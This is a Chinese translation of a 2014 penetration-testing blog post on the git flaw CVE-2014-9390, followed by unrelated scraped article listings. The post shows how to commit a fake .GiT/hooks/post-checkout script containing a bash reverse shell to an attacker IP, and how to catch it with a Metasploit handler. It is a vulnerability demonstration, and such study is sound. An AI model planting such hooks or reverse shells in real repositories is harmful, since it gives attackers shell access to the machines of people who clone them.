夺吻狂魔 · 2014/12/22 12:59

from:https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/

0x00 背景


CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在github.com/blog/1938-g… 和 article.gmane.org/gmane.linux…发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。

让我们以渗透测试的角度来看看这个漏洞。

0x01 准备


我创建了一个命名为CVE-2014-9390的新项目。

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。

#!bash
[email protected]:~/cve-2014-9390# mkdir .GiT
[email protected]:~/cve-2014-9390# cd .GiT/
[email protected]:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt
[email protected]:~/cve-2014-9390/.GiT# cd ..
[email protected]:~/cve-2014-9390# git add .
[email protected]:~/cve-2014-9390# git commit -m 'poc'
[master bec157d] poc
1 file changed, 1 insertion(+)
create mode 100644 .GiT/vulnerable.txt
[email protected]:~/cve-2014-9390# git push
复制代码

我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

#!bash
[email protected] ~
$ git clone [email protected]:mehmet/cve-2014-9390.git
Cloning into 'cve-2014-9390'...
Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':
remote: Counting objects: 7, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 7 (delta 0), reused 0 (delta 0)R
Receiving objects: 100% (7/7), done.
Checking connectivity... done.
复制代码

给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

0x02 利用


什么是git的hooks

与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

如何实现git hooks?

重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

我们创建一个假的git目录然后建立一个叫post-checkout的文件。

#!bash
[email protected]:~/cve-2014-9390# mkdir .GiT/hooks
[email protected]:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout
[email protected]:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout
[email protected]:~/cve-2014-9390# git add .
[email protected]:~/cve-2014-9390# git commit -m 'add reverse connection payload'
[master 389c979] add powershell payload
1 file changed, 4 insertions(+)
create mode 100644 .GiT/hooks/post-checkout
[email protected]:~//cve-2014-9390# git push
复制代码

我们在服务器端监听

#!bash
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 108.61.164.142
msf exploit(handler) > exploit
[*] Started reverse handler on 108.61.164.142:443
[*] Starting the payload handler...
复制代码

我们clone https://gitlab.com/mehmet/cve-2014-9390

看起来都是很正常,但是……

One git command may cause you hacked(CVE-2014-9390)相关推荐

  1. -bash: git: command not found

    -bash: git: command not found 执行命令: yum install -y git

  2. 【错误记录】Git 使用报错 ( git: ‘switch‘ is not a git command. See ‘git --help‘. )

    文章目录 一.报错信息 二.解决方案 一.报错信息 执行 git switch -c feature1 命令 , 创建分支 , 报如下错误 : D:\Git\git-learning-course&g ...

  3. Jenkins中连接Git仓库时提示:无法连接仓库:Error performing git command: git ls-remote -h

    场景 在Jenkins中新建任务后,在源码管理中选择Git,并且通过用户名和密码的 凭证方式连接到Git仓库时提示: 无法连接仓库:Error performing git command: git ...

  4. git: command not found

    在使用git时,出现"git: command not found"的情况,于是使用yum安装: [root@localhost ~]# yum install -y git Lo ...

  5. linux go missing git command,安装beego出现go: missing Git command

    安装beego报下面的错误: go build -ldflags "-linkmode external -extldflags -static" -o go-admin main ...

  6. git command not found

    [root@isstech001 ~]# git -bash: git: command not found yum安装 [root@isstech001 ~]# yum install -y git ...

  7. [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案

    [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案 问题情景 使用SourceTree,可以方便开发人员快速的套用GitFlow开发 ...

  8. Jenkins踩坑:Failed to connect to repository : Error performing git command: git ls-remote -h http://17

    1.问题描述 Jenkins搭建好之后,使用Jenkins新建构建任务,在填写git地址时,一直报错 Failed to connect to repository : Error performin ...

  9. Commitizen安装注意事项 git cz git: ‘cz‘ is not a git command

    vscode git: 'cz' is not a git command报错 出现如图错误提示请检查是否全局安装的commitizen 1.windows 全局安装commitizennode模块 ...

最新文章

  1. SAP QM 执行事务代码QS23为检验特性分配Selected Set的时候报错 - You cannot use entries from catalogs 1 and 3-
  2. 2021年春季学期教学记录
  3. php使用es搜索引擎,分布式搜索引擎Elasticsearch PHP类封装 使用原生api
  4. Python 字典的操作
  5. 接口测试从零开始系列_mock技术使用
  6. 上机环境是什么意思_380元入手RX580满血显卡,跑分17万,还要什么自行车
  7. 信息学奥赛一本通 1105:数组逆序重存放 | OpenJudge NOI 1.6 04
  8. 助力 Android 抗衡 iOS,华为发布方舟编译器!
  9. android app启动过程
  10. 小提琴机器人拉法_小提琴的拉琴姿势探讨
  11. oracle hcm 发展,甲骨文发布Oracle HCM Cloud云服务 呈现三大亮点
  12. redchat怎么编写shell脚本_Linux如何编写shell脚本?
  13. Fortran 注释符号
  14. JavaWeb书城项目(尚硅谷视频整理自用)
  15. DOS窗口命令大全用法及其详解
  16. x轴z轴代表的方向图片_x轴y轴z轴代表的方向_x轴y轴z轴代表的方向图
  17. php 导出的excel 科学计数法显示处理(记笔记)
  18. Eclipse中如何clean项目以及clean的作用
  19. git下载单个文件夹
  20. 简聊聊天软件的表设计

热门文章

  1. vsphere虚拟服务器备份,使用云祺虚拟机备份软件快速备份VMware vSphere虚拟机
  2. 使用云祺虚拟机备份软件备份H3C CAS 虚拟机
  3. C不会断句?【前后置,位,移位操作符详解】 b = ++c, c++, ++a, a++
  4. Time Series FeatuRe Extraction on basis of Scalable Hypothesis tests (tsfresh –A Python package)
  5. NVIDIA Jetson AGX Orin的计算能力
  6. 【简陋Web应用3】实现人脸比对
  7. 前端js拼接Json字符串
  8. 2006高端IT技术图书点评(首发《中华读书报》)
  9. iOS 15.0+ 中 SwiftUI 顶部或底部悬浮功能小面板的极简实现
  10. SSD固态硬盘怎么选?选对接口是关键